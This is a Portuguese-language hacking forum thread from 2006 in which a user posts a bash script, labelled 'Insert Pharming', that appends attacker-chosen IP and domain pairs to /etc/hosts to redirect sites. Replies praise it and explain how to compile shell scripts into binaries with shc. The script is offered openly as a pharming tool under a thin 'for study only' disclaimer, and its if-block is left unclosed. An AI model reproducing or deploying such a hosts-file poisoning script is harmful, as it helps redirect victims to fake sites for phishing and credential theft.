Insert Pharming (Shell Script)

Started by Cloudy, 11 de March , 2006, 10:22:08 AM

Previous topic - Next topic

0 Members and 4 Guests are viewing this topic.

Cloudy

Aeee, o primeiro a postar aqui nessa área. Por enquanto não tenho muito assunto para postar aqui, mas quero começar a movimentar aqui, então fiz um "Insert Pharming" em Shell Script. A idéia veio do user Kratos, que postou um em Phyton, então resolvi fazer o meu em Sh.

Ele foi feito só para estudo, sem chances de usar em SEing's.

#!/bin/bash
# Codezinho (Por Cloudy) para adicionar IP's no arquivo de hosts (Pharming)
clear
echo "Programa que adiciona IP's no arquivo de hosts - Pharming."
echo "Qual metodo deseja usar? [1/2]"
read resp
if [ $resp = 1 ] ; then
     echo "Digite o IP:"
     read ip
     echo "Digite o DNS:"
     read dns
     echo "$ip     $dns" >> /etc/hosts
     echo "Operação concluída com sucesso..."
     echo "$dns = $ip"
elif [ $resp = 2 ] ; then
     echo "Adicionando IPs no arquivo de hosts..."
     echo "127.0.0.1     www.darkers.com.br" >> /etc/hosts
else
     echo "Escolha 1 ou 2 ignorante"

Pronto, é esse ae. Ele tem que ser executado como root, senão dá erro ao tentar editar o arquivo de hosts.

Se vcs quiserem eu comento, mas acho que não precisa né?

...by Cloudy
"You have to be trusted by the people tou lied to, so when they turn their back on you, you have the chance to the put the knife in." (Roger Waters)

...by Cloudy

slul

Dica coloque o que significa o método 1 e 2 e insira um dialog de login afinal esse code é só pra root né =P

Kratos

Bela !!!!! Cloudy ....

Parabéns, tem um primo meu que vai gostar de ver isso !!!!!
::: "A vida é bela pra quem sabe curtir" :::





rodweb

legal o script... e se usar o "sudo" pra não precisar logar como root ?

Anonymous

Desculpem a pergunta estupida mas como fasso para passar esse ecript para exe?

Anonymous

Quote from: "mesofranico"Desculpem a pergunta estupida mas como fasso para passar esse ecript para exe?

Staff, desculpem a grosseiria, mas...
Ou my God!

Mermão, num dá, porque shellscript é uma linguagem interpretada e só roda em sistemas Unix-Like, ela num é linguagem compilada...

bloodrain

Quote from: "Morte137"
Quote from: "mesofranico"Desculpem a pergunta estupida mas como fasso para passar esse ecript para exe?

Staff, desculpem a grosseiria, mas...
Ou my God!

Mermão, num dá, porque shellscript é uma linguagem interpretada e só roda em sistemas Unix-Like, ela num é linguagem compilada...

resumindo o que ele falo:
pq se vc nao sabe oq eh shell script nao vai saber oq ele falou
isso eh pra linux

shandler

Existe sim, no site: http://www.datsi.fi.upm.es/~frosal/ tem um programa que traduz o Shell Script para um programa C que depois pode ser compilado para um binario.

Baixe o arquivo tar xzvf shc-3.8.6.tgz:

wget -c http://www.datsi.fi.upm.es/~frosal/sources/shc-3.8.6.tgz

Descompacte o mesmo:

tar xzvf shc-3.8.6.tgz

Entre no diretorio shc-3.8.6 e compile o programa:

make

Para compilar um Shell Script é só executar:

shc -r -v -f /tmp/SeuScript.sh

     -r = Compatibilidade entre Linux
     -v = Modo Verbose
     -f = Arquivo que será compilado


Imoogi

legal, já vi esse programa, mas nunca testei ;)